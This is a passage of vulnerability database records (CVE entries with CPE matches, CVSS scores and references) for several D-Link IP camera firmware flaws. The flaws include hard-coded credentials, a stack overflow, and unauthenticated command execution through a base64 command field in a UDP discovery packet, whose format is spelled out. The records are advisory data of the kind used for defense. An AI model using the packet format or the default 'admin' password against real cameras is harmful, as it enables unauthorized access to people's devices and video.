"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C6DF5842-F02E-4076-9B26-A3CC1EEBC94E",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.03:*:*:*:*:*:*:*",
"matchCriteriaId": "5A26476D-57A8-481C-80CB-80CC238F083A",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "AD48A2EC-52EB-4C4B-B1ED-EC87822EDF5C",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.03:*:*:*:*:*:*:*",
"matchCriteriaId": "E5A39F0C-8E3B-41AA-8E1D-E2DABB0A4CCC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "EA9B1618-9862-470A-AA4D-02A779B314A1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.05:*:*:*:*:*:*:*",
"matchCriteriaId": "28CE404D-2DFF-4203-8954-FA579EF5924B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.06:*:*:*:*:*:*:*",
"matchCriteriaId": "309BB5E5-5664-447B-B2C0-DCE54B0FDC2F",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-2102:-:*:*:*:*:*:*:*",
"matchCriteriaId": "78CD04CA-964A-4D74-B30E-7DC53E1858B6",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.05:*:*:*:*:*:*:*",
"matchCriteriaId": "C3435DC0-44C2-440D-9C56-39EC06782BBC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.06:*:*:*:*:*:*:*",
"matchCriteriaId": "631443E3-859B-439D-879E-C342B514BF33",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-2121:-:*:*:*:*:*:*:*",
"matchCriteriaId": "FC1DE485-2705-4394-BC93-0BE99FE02F12",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3410_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "1DC3F994-76E7-487C-A144-FC6C5AFDC5D9",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "4558EBD8-5FB0-487B-88E6-17E76B2B68BC",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5230_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "117E4B04-541F-4398-B644-959329FF45E5",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5230:-:*:*:*:*:*:*:*",
"matchCriteriaId": "A17CC0BD-D224-4A30-A8CF-07E469F4BFA4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5230l_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "5265C1F6-0246-4AF4-B348-86D3F8C95C0D",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5230l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "94FFCE95-2A81-465F-B4EB-3B1BD687D87F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-6410_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "2915F59C-512F-44B7-BB67-B699B622C055",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-6410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "994CFC4C-7EC2-450A-9E05-940EE3CBA9D5",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-7410_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "4DDC8CC0-F1B5-4EA4-A822-50FA02476365",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-7410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7AC168D7-AFFD-44A9-8CB7-29E1EDF0849A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-7510_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "4466E781-46D0-4A55-9136-3842E93C228A",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-7510:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EF686286-DFA4-49CE-BF64-D6BA849FDCD4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:wcs-1100_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "113F0277-63F1-4623-B668-88865ADFAD83",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:wcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "D06ED3F1-B59E-447F-B4E6-D95FB834A6C1",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream."
},
{
"lang": "es",
"value": "Se presenta una vulnerabilidad de Autenticaci\u00f3n en D-LINK WCS-1100 versi\u00f3n 1.02, TESCO DCS-2121 versi\u00f3n 1.05_TESCO, TESCO DCS-2102 versi\u00f3n 1.05_TESCO, DCS-7510 versi\u00f3n 1.00, DCS-7410 versi\u00f3n 1.00, DCS-6410 versi\u00f3n 1.00, DCS-5635 versi\u00f3n 1.01, DCS-5605 versi\u00f3n 1.01, DCS-5230L versi\u00f3n 1.02, DCS-5230 versi\u00f3n 1.02, DCS-3430 versi\u00f3n 1.02, DCS-3411 versi\u00f3n 1.02, DCS-3410 versi\u00f3n 1.02, DCS-2121 versi\u00f3n 1.06_FR, DCS-2121 versi\u00f3n 1.06, DCS-2121 versi\u00f3n 1.05_RU, DCS-2102 versi\u00f3n 1.06_FR, DCS-2102 versi\u00f3n 1.06, DCS-2102 versi\u00f3n 1.05_RU, DCS-1130L versi\u00f3n 1.04, DCS-1130 versi\u00f3n 1.04_US, DCS-1130 versi\u00f3n 1.03, DCS-1100L versi\u00f3n 1.04, DCS-1100 versi\u00f3n 1.04_US y DCS-1100 versi\u00f3n 1.03, debido a credenciales embebidas que sirven como un backdoor, lo que permite a atacantes remotos acceder a la transmisi\u00f3n de video RTSP."
}
],
"id": "CVE-2013-1603",
"lastModified": "2024-11-21T01:49:58.650",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2020-01-28T22:15:10.917",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.securityfocus.com/bid/59571"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1603"
},
{
"source": "cve@mitre.org",
"tags": [
"Permissions Required"
],
"url": "https://vuldb.com/?id.8575"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.securityfocus.com/bid/59571"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1603"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Permissions Required"
],
"url": "https://vuldb.com/?id.8575"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-798"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 20:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary orthrus in /sbin folder of the device handles all the UPnP connections received by the device. It seems that the binary performs a sprintf operation at address 0x0000A3E4 with the value in the command line parameter "-f" and stores it on the stack. Since there is no length check, this results in corrupting the registers for the function sub_A098 which results in memory corruption.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1100_firmware | - | |
| dlink | dcs-1100 | - | |
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "554817F7-7E3D-4D69-90AC-46D86056143B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary orthrus in /sbin folder of the device handles all the UPnP connections received by the device. It seems that the binary performs a sprintf operation at address 0x0000A3E4 with the value in the command line parameter \"-f\" and stores it on the stack. Since there is no length check, this results in corrupting the registers for the function sub_A098 which results in memory corruption."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1100 y DCS-1130 de D-Link. El orthrus binario en la carpeta /sbin del dispositivo maneja todas las conexiones UPnP recibidas por el mismo. Al parecer el binario realiza una operaci\u00f3n sprintf en la direcci\u00f3n 0x0000A3E4 con el valor en el par\u00e1metro de l\u00ednea de comando \"-f\" y lo almacena en la pila. En vista de que no hay una comprobaci\u00f3n de longitud, esto resulta en una corrupci\u00f3n de los registros para la funci\u00f3n sub_A098, que resulta en una corrupci\u00f3n de la memoria."
}
],
"id": "CVE-2017-8414",
"lastModified": "2024-11-21T03:33:59.643",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "LOCAL",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 7.2,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 3.9,
"impactScore": 10.0,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T20:15:11.200",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-119"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 21:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called "dldps2121" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in "main" function. One path in the function traverses towards a block of code that handles commands to be executed on the device. The custom protocol created by D-Link follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111. If a packet is received with the packet type being "S" or 0x53 then the string passed in the "C" parameter is base64 decoded and then executed by passing into a System API. We can see at address 0x00009B44 that the string received in packet type subtracts 0x31 or "1" from the packet type and is compared against 0x22 or "double quotes". If that is the case, then the packet is sent towards the block of code that executes a command. Then the value stored in "C" parameter is extracted at address 0x0000A1B0. Finally, the string received is base 64 decoded and passed on to the system API at address 0x0000A2A8 as shown below. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Not Applicable, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Not Applicable, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - | |
| dlink | dcs-1100_firmware | - | |
| dlink | dcs-1100 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "554817F7-7E3D-4D69-90AC-46D86056143B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called \"dldps2121\" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in \"main\" function. One path in the function traverses towards a block of code that handles commands to be executed on the device. The custom protocol created by D-Link follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111. If a packet is received with the packet type being \"S\" or 0x53 then the string passed in the \"C\" parameter is base64 decoded and then executed by passing into a System API. We can see at address 0x00009B44 that the string received in packet type subtracts 0x31 or \"1\" from the packet type and is compared against 0x22 or \"double quotes\". If that is the case, then the packet is sent towards the block of code that executes a command. Then the value stored in \"C\" parameter is extracted at address 0x0000A1B0. Finally, the string received is base 64 decoded and passed on to the system API at address 0x0000A2A8 as shown below. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1100 y DCS-1130 de D-Link. El dispositivo ejecuta un demonio personalizado en el puerto UDP 5978 que es llamado \"dldps2121\" y escucha los paquetes de difusi\u00f3n enviados en 255.255.255.255. Este demonio maneja el protocolo basado en UDP D-Link personalizado, que permite a las aplicaciones m\u00f3viles D-Link y a las aplicaciones de escritorio detectar dispositivos D-Link en la red local. El binario procesa los paquetes UDP recibidos enviados desde cualquier dispositivo en la funci\u00f3n \"main\". Una ruta (path) en la funci\u00f3n se dirige hacia un bloque de c\u00f3digo que maneja los comandos que se ejecutar\u00e1n en el dispositivo. El protocolo personalizado creado por D-Link sigue el siguiente patr\u00f3n: Paquete, Tipo de paquete; M=direcci\u00f3n MAC del dispositivo o transmisi\u00f3n; D=Tipo de dispositivo; C=cadena de comando codificada en base64; prueba=1111. Si un paquete es recibido con el tipo de paquete \"S\" o 0x53, la cadena pasada en el par\u00e1metro \"C\" se descodifica en base64 y luego se ejecuta pasando a una API del Sistema. Podemos ver en la direcci\u00f3n 0x00009B44 que la cadena recibida en el tipo de paquete sustracci\u00f3n 0x31 o \"1\" del tipo de paquete y se compara con 0x22 o \"double quotes\". Si este es el caso, entonces el paquete se env\u00eda hacia el bloque de c\u00f3digo que ejecuta un comando. Luego, el valor almacenado en el par\u00e1metro \"C\" se extrae en la direcci\u00f3n 0x0000A1B0. Finalmente, la cadena recibida se descodifica en base 64 y se transmite a la API del sistema en la direcci\u00f3n 0x0000A2A8 como se muestra a continuaci\u00f3n. La misma forma de comunicaci\u00f3n puede ser inicializada mediante cualquier proceso, incluido un proceso de atacante en el tel\u00e9fono m\u00f3vil o en el escritorio, y esto permite que una aplicaci\u00f3n de terceros en el dispositivo ejecute comandos en el dispositivo sin alguna autenticaci\u00f3n por medio del env\u00edo de solo 1 paquete UDP con codificaci\u00f3n base64 personalizada."
}
],
"id": "CVE-2017-8413",
"lastModified": "2024-11-21T03:33:59.480",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 8.3,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 6.5,
"impactScore": 10.0,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T21:15:10.180",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Not Applicable",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Not Applicable",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-77"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 21:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device has a custom telnet daemon as a part of the busybox and retrieves the password from the shadow file using the function getspnam at address 0x00053894. Then performs a crypt operation on the password retrieved from the user at address 0x000538E0 and performs a strcmp at address 0x00053908 to check if the password is correct or incorrect. However, the /etc/shadow file is a part of CRAM-FS filesystem which means that the user cannot change the password and hence a hardcoded hash in /etc/shadow is used to match the credentials provided by the user. This is a salted hash of the string "admin" and hence it acts as a password to the device which cannot be changed as the whole filesystem is read only.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Not Applicable, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Not Applicable, Third Party Advisory | |
